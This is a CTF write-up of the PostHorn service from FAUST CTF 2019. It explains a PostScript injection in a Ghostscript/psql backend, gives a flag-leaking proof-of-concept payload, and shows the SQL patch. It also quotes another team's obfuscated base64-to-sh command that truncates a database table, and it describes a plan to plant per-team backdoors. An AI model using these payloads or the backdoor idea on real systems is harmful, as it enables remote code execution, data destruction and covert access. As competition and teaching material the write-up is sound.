PostHorn was a service where we got first blood (🎉🎉🎉) in the 2019 FAUST CTF featuring Post-based technologies, such as
- HTTP Posts
- Postgress
- Postscript
It had a CGI Webserver binary (launched by uwsgi):
The binary then executed PostScript files (the stuff that renders PDFs) (!!!) and forwarded the output of ghostscript to the browser.
We quickly decided the stripped binary was too much work... and focussed on the .ps files.
PostScript is an archaic stack-based language. But it's very different from most things we were used to, for example defining a variable is:
/variablename whatever def
Its primary use is to render PDFs. Of course, the interface in the browser was PDFs and embedded forms <3, such as this.
Due to recent PS-Based CVEs, we found a pretty good introduction here: https://www.fortinet.com/blog/threat-research/debugging-postscript-with-ghostscript.html
All users and posts were added to a Postgress DB.
The Ghostscript interpreter (interpreting PostScript) then execed psql
to communicate with the PostScript Database.
The flagbot dropped flags into the database (using POSTs of course) - as message of a user.
The psql.ps
file (a postscript library to interact with postgress), was the following:
/sqlgetrow{
null (w) .tempfile dup 4 -1 roll writestring closefile
(%pipe%psql -z -t -A -f ) exch concatstrings (r) file 1000 string readline pop
} bind def
/sqlescapestring {
(t) genuuid concatstrings ($) 2 {dup 3 1 roll 2 {concatstrings} repeat} repeat
} bind def
/sqlforallresults {
/code exch def
null (w) .tempfile dup 4 -1 roll writestring closefile
(%pipe%psql -z -t -A -f ) exch concatstrings (r) file /fd exch def
{
mark fd 512 string readline {
null (w) .tempfile dup 4 -1 roll writestring closefile
5 dict dup dup 4 -1 roll run 3 -1 roll exch /posted exch put /post exch put code exec cleartomark
}{
cleartomark exit
} ifelse
} loop
} bind def
This was, indeed, were we found an injection.
In the function(?) (operator?) /sqlforallresults
, the returns from postscript are being passed to run
.
The docs state:
run is a convenience operator that combines the functions of file and exec
Inside a called postgress sql function, we find: SELECT format(' (%s) (%s) ', ...
-> after some deugging, it was clear that the result is then directly interpreted by gs
(brackets being the quotes for strings) and stored in a dict.
That means, anything with brackets can inject here.
Full PostScript RCE!
As initial PoC exploit, we posted:
SELECT post FROM post_table WHERE user_id in \(SELECT user_id from user_table where username in \('username', 'username2', 'username_n'\));) sqlgetrow show (nextpost
Since the sql function in psql
(see the patched version below) then formats this to:
(SELECT post FROM post_table WHERE user_id in \(SELECT user_id from user_table where username in \('username', 'username2', 'username_n'\));) sqlgetrow show (nextpost) (some_id)
and gs
run
s this, it will first
- push the SQL statement to the stack
- execute the
sqlgetrow
operator which pushes the sql result to the stack - calls
show
on this, outputting the flag to the PDF (see picture above) - pushes two normal values to the stack to make the normal parsing function happy
At the same time, we started patching.
To fix this issue we sanitized the output of the two provided postgres functions. In particular usernames and the content of posts could be used to trip up the postscript parsing.
As a quick fix, we replaced the parentheses with letters, by using the translate
function, rigerously repacing (
with a
and )
with b
.
The resulting functions (the original versions were the same without translate) are:
CREATE OR REPLACE FUNCTION get_posts(fromuser TEXT, asuser TEXT)
RETURNS SETOF text
AS $$
WITH help AS (SELECT user_id FROM user_table WHERE asuser = username)
SELECT format(' (%s) (%s) ', translate(post, '()', 'ab'), posted)
FROM help, post_table INNER JOIN user_table USING (user_id) INNER JOIN access_table USING (post_id)
WHERE user_table.username = fromuser AND access_table.user_id = help.user_id;
$$
LANGUAGE sql;
CREATE OR REPLACE FUNCTION get_friends(fromuser TEXT)
RETURNS SETOF text
AS $$
WITH help AS (SELECT user_id FROM user_table WHERE fromuser = username)
SELECT DISTINCT format(' (%s) (%s) ', post_table.user_id, translate(username, '()', 'ab'))
FROM help, post_table INNER JOIN user_table USING (user_id) INNER JOIN access_table USING (post_id)
WHERE access_table.user_id = help.user_id
$$
LANGUAGE sql;
Since flags got deleted by the other teams' exploits, for example with:
%pipe%echo cHNxbCAtYyAnc2VsZWN0ICogZnJvbSBwb3N0X3RhYmxlO1RSVU5DQVRFIHBvc3RfdGFibGUgQ0FTQ0FERTsnfGdyZXAgLW8gJ0ZBVVNUX1tBLVphLXowLTkrL10qJyAK | base64 -d | sh >> /tmp/zalupa) (r) file closefile 0 quit (12345
which decodes to
psql -c 'select * from post_table;TRUNCATE post_table CASCADE;'|grep -o 'FAUST_[A-Za-z0-9+/]*'
We came up with the idea to:
- fix the service for other teams
- leave a backdoor with backdoor key per team
- profit
Since this could be done inside psql, (with CREATE OR REPLACE FUNCTION
) leaving the original sql
file intact, teams might not even have found their own patches and backdoors.
In the end, we failed to do psql
things the way psql
wants to do things in time...
Next time...
Thanks for listening. Great service with some retro post horny technologies! Writeup by domenukk and iwo - thanks to Victor and Lucas.